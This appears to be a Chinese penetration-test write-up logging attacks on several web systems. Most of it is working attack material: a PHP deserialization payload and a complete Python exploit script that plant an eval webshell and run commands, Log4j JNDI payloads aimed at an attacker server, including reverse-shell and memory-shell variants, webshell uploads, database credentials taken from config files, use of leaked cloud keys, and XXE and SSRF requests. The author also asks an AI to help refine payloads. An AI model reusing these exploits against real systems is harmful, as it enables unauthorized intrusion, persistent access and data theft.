getshell(或许)

禾匠点企来客服系统api/testOrderSubmit rce (CNVD-2022-51194)

ehole扫出指纹了

然后找到poc验证了下

1
2
3
4
5
6
7
8
POST /web/index.php?r=api/testOrderSubmit/index/submit&_mall_id=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 233

form_data=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A1%3A%7Bs%3A9%3A%22_fn_close%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D


看到disable_functions限制了passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,imap_open,apache_setenv,proc_open,putenv,可以用file_put_contents写文件,不会啊,让ai改了好几次payload都没成功
然后同事和群友都给了些教学

1
O:23:"yii\db\BatchQueryResult":1:{s:36:"yii\db\BatchQueryResult_dataReader";O:24:"GuzzleHttp\Psr7\FnStream":3:{s:32:"GuzzleHttp\Psr7\FnStreammethod";a:2:{s:10:"__toString";s:7:"phpinfo";s:5:"close";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";a:2:{i:0;O:13:"yii\base\View":0:{}i:1;s:22:"evaluateDynamicContent";}s:2:"id";s:132:"file_put_contents('uploads/abc_1234.php',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();";}i:1;s:3:"run";}}s:14:"_fn___toString";s:7:"phpinfo";s:9:"_fn_close";a:2:{i:0;r:6;i:1;s:3:"run";}}}

其中3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e是马子内容

直接打了

1
2
3
4
5
6
7
8
POST /web/index.php?r=api/testOrderSubmit/index/submit&_mall_id=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 233

form_data=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22yii%5Cdb%5CBatchQueryResult_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A3%3A%7Bs%3A32%3A%22GuzzleHttp%5CPsr7%5CFnStreammethod%22%3Ba%3A2%3A%7Bs%3A10%3A%22__toString%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A5%3A%22close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22yii%5Crest%5CIndexAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22yii%5Cbase%5CView%22%3A0%3A%7B%7Di%3A1%3Bs%3A22%3A%22evaluateDynamicContent%22%3B%7Ds%3A2%3A%22id%22%3Bs%3A132%3A%22file_put_contents%28%27uploads%2Fabc_1234.php%27%2Chex2bin%28%273c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e%27%29%29%3Bphpinfo%28%29%3B%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7Ds%3A14%3A%22_fn___toString%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A6%3Bi%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D

md滑铁卢了

同事给的数据是,测试对比了下,少了\x00好像是对于文件名长度要做要求,要不然就会失败,要十一位长度,然后后缀限制三位,要不然都会显示close() is not implemented in the FnStream,md忘了反序列化要改前面的字符数的那个

1
O:23:"yii\db\BatchQueryResult":1:{s:36:"\x00yii\db\BatchQueryResult\x00_dataReader";O:24:"GuzzleHttp\Psr7\FnStream":3:{s:32:"\x00GuzzleHttp\Psr7\FnStream\x00method";a:2:{s:10:"__toString";s:7:"phpinfo";s:5:"close";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";a:2:{i:0;O:13:"yii\base\View":0:{}i:1;s:22:"evaluateDynamicContent";}s:2:"id";s:127:"file_put_contents('uploads/uploads.txt',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();";}i:1;s:3:"run";}}s:14:"_fn___toString";s:7:"phpinfo";s:9:"_fn_close";a:2:{i:0;r:6;i:1;s:3:"run";}}}



然后tmd,txt能写,php一访问就403,换个目录看看,绕过了,直接../uploads/uploads.php

但是限制好死啊,唉剩下是真不会了

exp

写了个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import requests
import urllib3
import sys
import re
import ssl
from requests.adapters import HTTPAdapter
from urllib3.poolmanager import PoolManager

urllib3.disable_warnings()

# SSL Adapter,兼容不同 TLS
class SSLAdapter(HTTPAdapter):
def __init__(self, ssl_version=None, **kwargs):
self.ssl_version = ssl_version
super().__init__(**kwargs)

def init_poolmanager(self, *args, **kwargs):
kwargs["ssl_version"] = self.ssl_version
return super().init_poolmanager(*args, **kwargs)

def make_session(site):
session = requests.Session()
for version in [ssl.PROTOCOL_TLSv1_2, ssl.PROTOCOL_TLSv1_1, ssl.PROTOCOL_TLSv1]:
try:
session.mount("https://", SSLAdapter(version))
resp = session.head(site, verify=False, timeout=5)
if resp.status_code < 500:
return session
except Exception:
continue
return requests.Session()

regular = r"PHP Version\s+([0-9]+(?:\.[0-9]+){1,3})"

def verify(session, site):
url = site.rstrip("/") + "/web/index.php?r=api/testOrderSubmit/index/preview&_mall_id=1"
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"
}
data = 'form_data=O:23:"yii\\db\\BatchQueryResult":1:{s:36:"\x00yii\\db\\BatchQueryResult\x00_dataReader";O:24:"GuzzleHttp\\Psr7\\FnStream":1:{s:9:"_fn_close";s:7:"phpinfo";}}'
r = session.post(url, headers=headers, data=data, verify=False, timeout=10)
m = re.search(regular, r.text)
if m:
return m.group(1)
return ""

def generate_payload(file_name):
php_code = f"file_put_contents('{file_name}',hex2bin('3c3f70687020406576616c28245f524551554553545b27696d67275d293b3f3e'));phpinfo();"
code_len = len(php_code)
payload = f'O:23:"yii\\db\\BatchQueryResult":1:{{s:36:"\x00yii\\db\\BatchQueryResult\x00_dataReader";O:24:"GuzzleHttp\\Psr7\\FnStream":3:{{s:32:"\x00GuzzleHttp\\Psr7\\FnStream\x00method";a:2:{{s:10:"__toString";s:7:"phpinfo";s:5:"close";a:2:{{i:0;O:20:"yii\\rest\\IndexAction":2:{{s:11:"checkAccess";a:2:{{i:0;O:13:"yii\\base\\View":0:{{}}i:1;s:22:"evaluateDynamicContent";}}s:2:"id";s:{code_len}:"{php_code}";}}i:1;s:3:"run";}}}}s:14:"_fn___toString";s:7:"phpinfo";s:9:"_fn_close";a:2:{{i:0;r:6;i:1;s:3:"run";}}}}}}'
return payload

def exp(session, site, file_name, debug=False):
payload = generate_payload(file_name)

url = site.rstrip("/") + "/web/index.php?r=api/testOrderSubmit/index/preview&_mall_id=1"
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {'form_data': payload}
r = session.post(url, headers=headers, data=data, verify=False, timeout=10)

if debug:
print("\n[DEBUG] exp() 上传响应内容:")
print("="*80)
print(r.text[:2000])
print("="*80)

shell_url = site.rstrip("/") + f"/web/{file_name}"
try:
r2 = session.get(shell_url, verify=False, timeout=10)
if r2.status_code == 200:
upload_status = f"[+] 文件上传成功: {shell_url}"
else:
upload_status = f"[-] 文件上传失败,HTTP状态码:{r2.status_code}"
return upload_status
except Exception as e:
return f"[-] 文件访问异常: {e}"

# 尝试执行 whoami
execute_status = "[-] 文件执行失败"
verify_payload = {'img': "system('whoami');"}

for method in ["post", "get"]:
try:
if method == "post":
r_exec = session.post(shell_url, data=verify_payload, verify=False, timeout=10)
else:
r_exec = session.get(shell_url, params=verify_payload, verify=False, timeout=10)
if r_exec.status_code == 200:
# 判断返回内容是否为 PHP 源码
if "<?php" in r_exec.text or "eval" in r_exec.text:
execute_status = f"[-] 文件返回源码,命令未执行 "
else:
execute_status = f"[+] 文件可执行 ({method.upper()}),whoami 输出:\n{r_exec.text}"
break
except Exception as e:
execute_status = f"[-] 文件执行异常 ({method.upper()}): {e}"

return f"{upload_status}\n{execute_status}"

if __name__=="__main__":
if len(sys.argv) < 3:
print(f"用法: python {sys.argv[0]} http(s)://target.com 文件名 [--debug]")
sys.exit(1)

target = sys.argv[1]
file_name = sys.argv[2]
debug = "--debug" in sys.argv

session = make_session(target)

info = verify(session, target)
if info:
print(f"[+] 漏洞存在,获取到 PHP 版本为: {info}")
content = exp(session, target, file_name, debug)
print("[+] 上传与执行状态:")
print(content)
else:
print("[-] 漏洞不存在")

直接

1
python 1.py target 文件名(可带路径)

log4j(实战中第一次遇到)

开局一个spring boot的默认错误页面

扫目录就出了个接口文档,但是类似后台入口啥的都没找到

想着碰运气吧,结果,spring boot scan也没结果,那脚本小子没辙了,然后就是让ai帮我拓宽思路(确实经验不足,唉)
然后ai说可能:Java应用通常有一些共性行为,可以推断是否可能使用Log4j
想着就打打log4j吧

1
2
3
4
GET /error/ HTTP/1.1
Host:
Accept: ${jndi:rmi://la446n.dnslog.cn/1}
Cache-Control: max-age=0
直接dnslog打批量看看,有访问记录


换工具验证

1
${jndi:ldap://hack_ip:ldap_port/URLDNS/cllacu.dnslog.cn/1}
1
java -jar jndi-exp.jar -i hack_ip -l ldap_port -p http_port


拿个java版本

1
${jndi:ldap://ip:port/basic/${java:version}}


找利用链

1
${jndi:ldap://ip:port/fuzzbyDNS/domain}

1
${jndi:ldap://ip:port/EL/reverseshell/ip/port}

反弹失败,看了下服务器那边,看了下工具只支持linux命令,那直接传内存马了,用TomcatServlet内存马

1
${jndi:ldap://ip:port/EL/memshell/TomcatServletMemShellFromThread}

然后访问指定路劲/ser

文件上传

弱口令admin:admin进来

先前端改删掉disabled="disabled",输入马子后缀

提交按钮的也得删

然后直接传aspx马,但是一直被删,然后找了个小马,传上去,蚁剑连上了

但是权限太低,命令都执行不了,就翻配置,网站根目录下找到web.config,里面有数据库配置

直接连上拿数据分,毕竟拿了shell给100分,数据分也差不多,何必费力(主要是研究不出来了)

信息泄露

oss存储桶

由任意用户注册进的系统

登陆后,findsomething帮忙找到ak/as泄露接口

然后带着cookie访问拿到

oss浏览器成功登录上

水洞

泛微

xxe

dnslog验证了下访问外部链接

1
2
3
4
5
6
7
8
POST /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1
Host:
Cookie: ecology_JSessionid=aaaAEj48O9I064d6QbLiz
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://vkkk8x.dnslog.cn/1.dtd">
<syscode>&send;</syscode>

源码泄露

1
/cloudstore/ecode/setup/ecology_dev.zip

ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/doc/mobile/fileview/getFileViewUrl HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Upgrade-Insecure-Requests: 1

{
"file_id": "1000",
"file_name": "c",
"download_url":"http://vkkk8x.dnslog.cn"
}

kkFileView应该有个rce的,但是不懂是不是同事已经测过了,关站了现在

thinkphp

看到s参数觉得应该是thinkphp,但是扫指纹的时候没出来,想着验证一下
结果出来个这玩意

1
/index.php?s=index


确认是thinkphp

1
/index.php?s=/%C0%AE%C0%AE%C0%AF

弱口令

1
admin:admin1234